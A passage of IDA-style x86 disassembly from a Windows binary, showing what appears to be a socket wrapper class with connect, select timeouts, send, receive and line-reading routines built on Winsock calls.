		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 2800B86h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


